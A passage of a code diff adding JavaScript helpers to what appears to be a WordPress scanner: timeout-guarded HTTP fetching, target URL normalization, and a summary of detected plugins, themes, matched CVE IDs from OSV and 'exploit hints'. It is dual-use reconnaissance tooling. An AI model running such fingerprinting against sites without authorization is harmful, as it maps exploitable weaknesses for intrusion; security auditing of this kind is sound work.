hints.push(`Review OSV entries for ${slug} \u2014 ${cves.length} advisory/advisories found.`);
|
|
895
|
+
}
|
|
896
|
+
return hints;
|
|
897
|
+
}
|
|
898
|
+
async function safeGet(url, fetchImpl, timeoutMs, headers) {
|
|
899
|
+
try {
|
|
900
|
+
const res = await withTimeout(fetchImpl(url, { method: "GET", headers: headers ?? {} }), timeoutMs);
|
|
901
|
+
if (!res)
|
|
902
|
+
return void 0;
|
|
903
|
+
const body = await res.text().catch(() => "");
|
|
904
|
+
return { ok: res.ok, status: res.status, body };
|
|
905
|
+
} catch {
|
|
906
|
+
return void 0;
|
|
907
|
+
}
|
|
908
|
+
}
|
|
909
|
+
async function withTimeout(p, timeoutMs) {
|
|
910
|
+
let timer;
|
|
911
|
+
try {
|
|
912
|
+
return await Promise.race([
|
|
913
|
+
p,
|
|
914
|
+
new Promise((resolve) => {
|
|
915
|
+
timer = setTimeout(() => resolve(void 0), timeoutMs);
|
|
916
|
+
})
|
|
917
|
+
]);
|
|
918
|
+
} finally {
|
|
919
|
+
if (timer)
|
|
920
|
+
clearTimeout(timer);
|
|
921
|
+
}
|
|
922
|
+
}
|
|
923
|
+
function normalizeBase(target) {
|
|
924
|
+
return target.replace(/\/+$/, "");
|
|
925
|
+
}
|
|
926
|
+
function summarizeWpFingerprint(result) {
|
|
927
|
+
if (!result.isWordPress) {
|
|
928
|
+
return "Target does not appear to be WordPress (no WP-specific endpoints detected).";
|
|
929
|
+
}
|
|
930
|
+
const lines = [];
|
|
931
|
+
lines.push(`WordPress detected${result.coreVersion ? ` \u2014 core v${result.coreVersion}` : ""}. Evidence: ${result.evidence.join(", ")}`);
|
|
932
|
+
lines.push(`Plugins: ${result.plugins.length}, Themes: ${result.themes.length}`);
|
|
933
|
+
const withCves = result.findings.filter((f) => f.cves.length > 0);
|
|
934
|
+
if (withCves.length > 0) {
|
|
935
|
+
lines.push("");
|
|
936
|
+
lines.push(`CVE hits (${withCves.length}):`);
|
|
937
|
+
for (const f of withCves) {
|
|
938
|
+
const ids = f.cves.map((c) => c.id).slice(0, 5).join(", ");
|
|
939
|
+
lines.push(` - [${f.kind}] ${f.slug}${f.version ? `@${f.version}` : ""}: ${ids}${f.cves.length > 5 ? ` (+${f.cves.length - 5} more)` : ""}`);
|
|
940
|
+
for (const hint of f.exploitHints) {
|
|
941
|
+
lines.push(` hint: ${hint}`);
|
|
942
|
+
}
|
|
943
|
+
}
|
|
944
|
+
} else {
|
|
945
|
+
lines.push("No CVE matches via OSV.");
|
|
946
|
+
}
|
|
947
|
+
return lines.join("\n");
|
|
948
|
+
}
|
|
949
|
+
|
|
950
|
+
export {
|
|
951
|
+
runWpFingerprint,
|
|
952
|
+
summarizeWpFingerprint
|
|
953
|
+
};
|